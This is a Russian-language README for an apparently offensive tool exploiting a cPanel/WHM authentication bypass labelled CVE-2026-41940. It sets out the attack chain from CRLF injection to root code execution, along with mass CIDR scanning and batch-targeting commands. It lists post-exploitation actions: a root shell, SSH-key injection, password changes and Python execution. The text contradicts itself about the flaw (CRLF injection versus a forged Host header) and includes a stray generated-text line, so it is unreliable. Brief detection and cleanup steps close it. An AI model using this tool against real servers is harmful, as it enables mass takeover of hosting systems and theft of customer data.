
CVE-2026-41940 — обход аутентификации cPanel/WHM от Dr.Anach, CRLF-инъекция в обработчике базовой аутентификации `cpsrvd` → неаутентифицированный доступ к WHM API → RCE как root. Затронуты все cPanel, начиная с v11.40.
Автор: Dr.Anach | Контакты: @dranach | Лицензия: MIT
CRLF-инъекция в обработчике Basic-аутентификации cpsrvd → неавторизованный доступ к WHM API → RCE от root. Затронуты все версии cPanel, начиная с v11.40.
| # | Шаг | Запрос |
|---|---|---|
| 1 | Создание сессии | GET /login/?user=root |
| 2 | CRLF-инъекция | Authorization: Basic <base64> — пароль содержит полезную нагрузку \r\n |
| 3 | Продвижение кеша | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Выполнение | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
Ниже представлен финальный README.md — удобный для человека, практичный и ориентированный на выполнение задач.
Автор: Dr.Anach · Telegram: @dranach
Версия: 2.0.0
Лицензия: Только для авторизованного тестирования безопасности
Эксплуатирует CVE-2026-41940, обход аутентификации в cPanel & WHM (версии 11.x – 106.x). Уязвимость позволяет неавторизованному злоумышленнику получить доступ к ограниченным конечным точкам, включая функцию сброса пароля, отправляя поддельный заголовок Host, указывающий на сервер злоумышленника.
Поставляется с тремя режимами:
| Режим | Флаг | Что делает |
|---|---|---|
| Одиночная цель | -t | Проверить один IP или домен |
| Пакетный файл | --batch | Загрузить список целей из файла |
| Сканирование CIDR | --port-scan | Развернуть подсеть и проверить каждый активный хост |
requestspip install requests
Никаких других зависимостей. Расширение CIDR использует встроенный модуль Python ipaddress — ничего дополнительно устанавливать не требуется, в том числе на Windows.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
Формат targets.txt:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
Это разворачивает 192.168.128.0/18 (16 384 IP-адреса), выполняет быструю проверку порта для каждого и пытается эксплуатировать только те хосты, на которых открыт порт 2087 (cPanel/WHM).
-t, --target Одиночная цель: IP или домен
--batch FILE Файл с целями (по одной на строку)
--port-scan CIDR Диапазон CIDR для сканирования (например, 192.168.128.0/18)
-p, --port Целевой порт (по умолчанию: 2087)
--ssl Использовать HTTPS (по умолчанию: HTTP)
--timeout SEC Тайм-аут соединения в секундах (по умолчанию: 10)
--threads N Максимальное количество одновременных потоков (по умолчанию: 50)
--proxy PROXY HTTP-прокси (например, http://127.0.0.1:8080)
-v, --verbose Подробный вывод с отладочной информацией
--no-banner Подавить баннер
--version Показать версию
[+] 192.168.130.45:2087 — УЯЗВИМ!
→ URL сброса пароля: http://192.168.130.45:2087/reset?token=abc123
→ Время ответа: 1.23s
[-] 192.168.131.10:2087 — Не уязвим
→ Причина: конечная точка сброса пароля не найдена
[!] 192.168.129.22:2087 — Ошибка: соединение отклонено
Результаты сохраняются в формате JSON, структурированы по каждому хосту с указанием статуса уязвимости, извлечённых токенов и деталей исходного ответа.
Сценарий, ради которого вы, вероятно, здесь:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
Как это работает:
192.168.128.0/18 → 16 384 IP-адреса внутриСоветы по потокам:
--threads 100 работает хорошо (с учётом стандартных ограничений сокетов)--threads 200--threads 30 и увеличьте --timeoutCVSS 9.1 (Критический) — не требуется аутентификация, не требуется взаимодействие с пользователем, низкая сложность.
Host на стороне сервераЭтот инструмент предназначен только для авторизованных оценок безопасности. Вы должны владеть целями или иметь письменное разрешение владельца перед тестированием. Авторы не несут ответственности за неправомерное использование.
help Показать команды
info Информация о сервере
passwd Изменить пароль
accounts Список учётных записей cPanel
enum Полная переборка
shell Выполнить системную команду
ssh-add Внедрить SSH-ключ
exec Выполнить однострочник Python
exit Выход
Проверьте файлы сессий:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Подозрительные записи в /usr/local/cpanel/logs/access_log:
/login/?user=root → создание сессии
/login/?user=root → CRLF-инъекция
/cpsess*/login/?login_only=1 → продвижение кеша
/cpsess*/execute/* → злоупотребление API
# 1. Установите патч до исправленной сборки
# 2. Замените все пароли и SSH-ключи
# 3. Очистите сессии
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel